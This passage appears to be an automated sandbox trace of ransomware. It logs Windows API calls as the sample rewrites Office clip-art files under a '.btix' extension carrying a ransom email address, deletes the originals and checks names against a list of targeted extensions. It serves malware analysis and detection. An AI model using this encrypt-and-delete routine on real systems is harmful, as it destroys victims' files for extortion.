Office\\root\\CLIPART\\PUB60COR\\J0199465.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199465.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0158.170] GetLastError () returned 0x0 [0158.170] ReadFile (in: hFile=0x3a0, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x13c4, lpOverlapped=0x0) returned 1 [0158.171] WriteFile (in: hFile=0x378, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x13d0, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x13d0, lpOverlapped=0x0) returned 1 [0158.172] ReadFile (in: hFile=0x3a0, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0158.172] WriteFile (in: hFile=0x378, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0158.172] SetEndOfFile (hFile=0x378) returned 1 [0158.172] CloseHandle (hObject=0x378) returned 1 [0158.172] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.172] SetEndOfFile (hFile=0x3a0) returned 1 [0158.173] CloseHandle (hObject=0x3a0) returned 1 [0158.173] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199465.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0158.173] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199465.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199465.wmf")) returned 1 [0158.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199465.WMF") returned 68 [0158.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199465.WMF") returned 68 [0158.174] lstrlenW (lpString=".doc") returned 4 [0158.174] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.174] lstrlenW (lpString=".docx") returned 5 [0158.174] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0158.174] lstrlenW (lpString=".pdf") returned 4 [0158.174] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.174] lstrlenW (lpString=".xls") returned 4 [0158.174] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.174] lstrlenW (lpString=".xlsx") returned 5 [0158.174] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0158.174] lstrlenW (lpString=".ppt") returned 4 [0158.174] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199465.WMF") returned 68 [0158.174] lstrlenW (lpString=".zip") returned 4 [0158.174] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.174] lstrlenW (lpString=".rar") returned 4 [0158.174] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.174] lstrlenW (lpString=".bz2") returned 4 [0158.174] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.174] lstrlenW (lpString=".7z") returned 3 [0158.174] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199465.WMF") returned 68 [0158.175] lstrlenW (lpString=".dbf") returned 4 [0158.175] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199465.WMF") returned 68 [0158.175] lstrlenW (lpString=".1cd") returned 4 [0158.175] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199465.WMF") returned 68 [0158.175] lstrlenW (lpString=".jpg") returned 4 [0158.175] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.175] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.175] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.176] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199469.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199469.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0158.176] GetLastError () returned 0x0 [0158.176] ReadFile (in: hFile=0x3a0, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x35bc, lpOverlapped=0x0) returned 1 [0158.494] WriteFile (in: hFile=0x378, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x35c0, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x35c0, lpOverlapped=0x0) returned 1 [0158.495] ReadFile (in: hFile=0x3a0, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0158.495] WriteFile (in: hFile=0x378, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0158.495] SetEndOfFile (hFile=0x378) returned 1 [0158.496] CloseHandle (hObject=0x378) returned 1 [0158.496] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.496] SetEndOfFile (hFile=0x3a0) returned 1 [0158.496] CloseHandle (hObject=0x3a0) returned 1 [0158.497] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199469.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0158.497] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199469.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199469.wmf")) returned 1 [0158.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199469.WMF") returned 68 [0158.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199469.WMF") returned 68 [0158.498] lstrlenW (lpString=".doc") returned 4 [0158.498] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.498] lstrlenW (lpString=".docx") returned 5 [0158.498] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0158.498] lstrlenW (lpString=".pdf") returned 4 [0158.498] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.498] lstrlenW (lpString=".xls") returned 4 [0158.498] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.498] lstrlenW (lpString=".xlsx") returned 5 [0158.498] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0158.498] lstrlenW (lpString=".ppt") returned 4 [0158.498] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199469.WMF") returned 68 [0158.498] lstrlenW (lpString=".zip") returned 4 [0158.498] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.498] lstrlenW (lpString=".rar") returned 4 [0158.498] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.498] lstrlenW (lpString=".bz2") returned 4 [0158.498] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.498] lstrlenW (lpString=".7z") returned 3 [0158.498] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199469.WMF") returned 68 [0158.498] lstrlenW (lpString=".dbf") returned 4 [0158.498] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199469.WMF") returned 68 [0158.498] lstrlenW (lpString=".1cd") returned 4 [0158.498] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199469.WMF") returned 68 [0158.498] lstrlenW (lpString=".jpg") returned 4 [0158.498] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.499] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.499] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.499] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200611.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200611.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0158.500] GetLastError () returned 0x0 [0158.500] ReadFile (in: hFile=0x3a0, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0xf36, lpOverlapped=0x0) returned 1 [0158.506] WriteFile (in: hFile=0x378, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xf40, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xf40, lpOverlapped=0x0) returned 1 [0158.514] ReadFile (in: hFile=0x3a0, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0158.514] WriteFile (in: hFile=0x378, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0158.514] SetEndOfFile (hFile=0x378) returned 1 [0158.514] CloseHandle (hObject=0x378) returned 1 [0158.514] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.514] SetEndOfFile (hFile=0x3a0) returned 1 [0158.515] CloseHandle (hObject=0x3a0) returned 1 [0158.515] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200611.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0158.515] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200611.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200611.wmf")) returned 1 [0158.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200611.WMF") returned 68 [0158.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200611.WMF") returned 68 [0158.516] lstrlenW (lpString=".doc") returned 4 [0158.516] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.516] lstrlenW (lpString=".docx") returned 5 [0158.516] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0158.516] lstrlenW (lpString=".pdf") returned 4 [0158.516] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.516] lstrlenW (lpString=".xls") returned 4 [0158.516] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.516] lstrlenW (lpString=".xlsx") returned 5 [0158.516] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0158.516] lstrlenW (lpString=".ppt") returned 4 [0158.516] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200611.WMF") returned 68 [0158.516] lstrlenW (lpString=".zip") returned 4 [0158.516] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.516] lstrlenW (lpString=".rar") returned 4 [0158.516] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.516] lstrlenW (lpString=".bz2") returned 4 [0158.516] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.516] lstrlenW (lpString=".7z") returned 3 [0158.516] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200611.WMF") returned 68 [0158.517] lstrlenW (lpString=".dbf") returned 4 [0158.517] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200611.WMF") returned 68 [0158.517] lstrlenW (lpString=".1cd") returned 4 [0158.517] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200611.WMF") returned 68 [0158.517] lstrlenW (lpString=".jpg") returned 4 [0158.517] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.518] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.518] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.518] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0202045.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0202045.jpg.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0158.518] GetLastError () returned 0x0 [0158.518] ReadFile (in: hFile=0x3a0, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0xa50e, lpOverlapped=0x0) returned 1 [0158.521] WriteFile (in: hFile=0x378, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xa510, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xa510, lpOverlapped=0x0) returned 1 [0158.522] ReadFile (in: hFile=0x3a0, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0158.522] WriteFile (in: hFile=0x378, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0158.523] SetEndOfFile (hFile=0x378) returned 1 [0158.523] CloseHandle (hObject=0x378) returned 1 [0158.523] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.523] SetEndOfFile (hFile=0x3a0) returned 1 [0158.524] CloseHandle (hObject=0x3a0) returned 1 [0158.524] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0202045.JPG.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0158.524] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0202045.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0202045.jpg")) returned 1 [0158.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0202045.JPG") returned 68 [0158.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0202045.JPG") returned 68 [0158.525] lstrlenW (lpString=".doc") returned 4 [0158.525] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0158.525] lstrlenW (lpString=".docx") returned 5 [0158.525] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0158.525] lstrlenW (lpString=".pdf") returned 4 [0158.525] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0158.525] lstrlenW (lpString=".xls") returned 4 [0158.525] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0158.525] lstrlenW (lpString=".xlsx") returned 5 [0158.525] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0158.525] lstrlenW (lpString=".ppt") returned 4 [0158.525] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0158.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0202045.JPG") returned 68 [0158.525] lstrlenW (lpString=".zip") returned 4 [0158.525] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0158.525] lstrlenW (lpString=".rar") returned 4 [0158.525] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0158.525] lstrlenW (lpString=".bz2") returned 4 [0158.525] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0158.525] lstrlenW (lpString=".7z") returned 3 [0158.525] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0158.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0202045.JPG") returned 68 [0158.525] lstrlenW (lpString=".dbf") returned 4 [0158.525] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0158.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0202045.JPG") returned 68 [0158.525] lstrlenW (lpString=".1cd") returned 4 [0158.525] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0158.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0202045.JPG") returned 68 [0158.525] lstrlenW (lpString=".jpg") returned 4 [0158.526] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0158.526] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.526] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.526] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0211981.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0211981.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0158.527] GetLastError () returned 0x0 [0158.527] ReadFile (in: hFile=0x3a0, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x6e74, lpOverlapped=0x0) returned 1 [0158.529] WriteFile (in: hFile=0x378, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x6e80, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x6e80, lpOverlapped=0x0) returned 1 [0158.530] ReadFile (in: hFile=0x3a0, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0158.530] WriteFile (in: hFile=0x378, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0158.530] SetEndOfFile (hFile=0x378) returned 1 [0158.530] CloseHandle (hObject=0x378) returned 1 [0158.530] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.530] SetEndOfFile (hFile=0x3a0) returned 1 [0158.531] CloseHandle (hObject=0x3a0) returned 1 [0158.531] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0211981.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0158.531] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0211981.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0211981.wmf")) returned 1 [0158.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0211981.WMF") returned 68 [0158.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0211981.WMF") returned 68 [0158.532] lstrlenW (lpString=".doc") returned 4 [0158.532] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.532] lstrlenW (lpString=".docx") returned 5 [0158.532] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0158.532] lstrlenW (lpString=".pdf") returned 4 [0158.532] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.532] lstrlenW (lpString=".xls") returned 4 [0158.532] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.532] lstrlenW (lpString=".xlsx") returned 5 [0158.532] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0158.532] lstrlenW (lpString=".ppt") returned 4 [0158.532] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0211981.WMF") returned 68 [0158.532] lstrlenW (lpString=".zip") returned 4 [0158.532] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.532] lstrlenW (lpString=".rar") returned 4 [0158.532] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.532] lstrlenW (lpString=".bz2") returned 4 [0158.533] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.533] lstrlenW (lpString=".7z") returned 3 [0158.533] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0211981.WMF") returned 68 [0158.533] lstrlenW (lpString=".dbf") returned 4 [0158.533] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0211981.WMF") returned 68 [0158.533] lstrlenW (lpString=".1cd") returned 4 [0158.533] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0211981.WMF") returned 68 [0158.533] lstrlenW (lpString=".jpg") returned 4 [0158.533] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.534] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.534] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.534] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212299.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0212299.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0158.535] GetLastError () returned 0x0 [0158.535] ReadFile (in: hFile=0x3a0, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x180e, lpOverlapped=0x0) returned 1 [0158.543] WriteFile (in: hFile=0x378, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x1810, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x1810, lpOverlapped=0x0) returned 1 [0158.544] ReadFile (in: hFile=0x3a0, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0158.544] WriteFile (in: hFile=0x378, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0158.544] SetEndOfFile (hFile=0x378) returned 1 [0158.544] CloseHandle (hObject=0x378) returned 1 [0158.544] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.544] SetEndOfFile (hFile=0x3a0) returned 1 [0158.545] CloseHandle (hObject=0x3a0) returned 1 [0158.545] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212299.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0158.545] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212299.WMF" (normalized: "c:\\program files\\microsoft 